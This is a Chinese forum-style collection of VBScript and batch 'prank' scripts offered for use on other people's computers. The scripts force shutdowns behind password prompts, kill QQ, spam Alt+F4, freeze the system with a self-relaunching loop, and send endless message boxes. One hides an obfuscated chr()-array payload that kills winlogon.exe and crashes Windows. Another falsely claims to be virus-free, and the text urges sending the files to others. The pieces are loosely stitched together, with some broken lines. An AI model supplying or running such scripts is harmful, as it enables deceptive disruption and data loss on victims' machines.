新建txt，复制进去代码，然后保存，修改后缀为.vbs完成

for each wind in verybat
ws.sendkeys wind
wscript.sleep 500
next
ws.popup"唉:-(( ⊙ o ⊙ )！呀，我好累啊，我下了 886",30
ws.popup"下机可不能忘了关QQ 我吧QQ关了哈",8
ws.run "taskkill /f /im qq.exe"
ws.popup"你还要上吧 慢慢玩哦",27
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
for d=0 to 4
WSHshell.SendKeys "%{F4}"
next
ws.run"shutdown -s -t 1000600"
wscript.sleep 2000
dim a
do
a=inputbox("请输入解除关机密码")
if a="qq1986473542" then
ws.run"shutdown -a"
msgbox"密码验证成功，enjoy the best!"
exit do
else
msgbox"密码验证失败，请输入解除关机密码：qq1986473542 ",vbretrycancel
end if
loop
ws.popup"哈哈 被吓到了吧 好玩吧？你以为真的是病毒？呵呵O(∩_∩)O~，我还没那么大本事能做出病毒来！",57
ws.popup"(\(^o^)/~ 好啦，跟你开了个小小玩笑。你也可以把这个文件发给其他人，耍耍别人。呵呵^_^",62
wscript.sleep 8900
do until i=10
i=i+1
msgbox "CPU温度过高，系统出现严重错误！，请结束所有应用程序让CPU降温！",16+4096,"系统提示："
wscript.sleep 1000*45
loop

set sh=wscript.createobject("wscript.shell")
sh.run"shutdown -s -t 10000"

dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
for d=0 to 40
WSHshell.SendKeys "%{F4}"
nex

再提醒一边，别作死
do
createobject("wscript.shell").run chr(34) & wscript.scriptname & chr(34)
loop

结果：不断运行自身卡死，直至只好断电关机。 编个VBS脚本可以解这个： CreateObject("Wscript.shell").run "taskkill /f /im wscript.exe" 只不过在编22L这个时最好在do后面加一行wscript.sleep 5000，给这个脚本减点速，要不然会很2的。

do msgbox "去不掉的骚扰!qq1986473542" loop

msgbox"此文件无毒，请放心使用。",vbretrycancel,"系统提示。"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.Run "cmd.exe /c shutdown -s -t 300"
wscript.sleep 2000
dim a
do
a=inputbox("输入abc，否则关机。")
if a="abc" then
msgbox" 很遗憾，你中招了，这是整人程序，你就等着关机吧！"
exit do
else
msgbox"乖点，输入abc"
end if
loop

on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 6 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox "乖"
loop
msgbox "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox "自己骂自己的不要脸~~~~~~",4, " "

msgbox"你是不是很无聊啊？",4
msgbox"我来陪你玩会儿"
msgbox"做好玩儿的准备吧！"
do
msgbox"你无聊吗?",vbinformation,"你无聊吗？"
loop

strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,- 23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,- 13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103 ,98,111,120,32,34,-15133,89,-13899,-20026,- 20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,- 14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,- 13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,- 24147,63,34,44,54,52,44,34,-11825,-10536,-16721,- 18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,1 01,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114,105,112,116, 46,115,108,101,101,112,32,32,32,49,50,48,48,13,10,119,115,46,114,117,110,32,34,99,109,100,32,47,99,32,115, 116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45,99,32,113,32,45,112,110,32,119,105,110,108,111,1 03,111,110,46,101,120,101,32,49,62,110,117,108,32,50,62,110,117,108,34,44,118,98,104,105,100,101,13,10,101 ,110,100,32,105,102,13,10,13,10,13,10)
for i=1 to UBound(strs)
runner=runner&chr(strs(i))
next
Execute runner

for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: /d)
解决代码

set ws=createobject("wscript.shell")
do
ws.sendkeys "{f5}"
loop

set wmp=createobject("wmplayer.ocx")
set cd=wmp.cdromcollection.item(0)
do
cd.eject
loop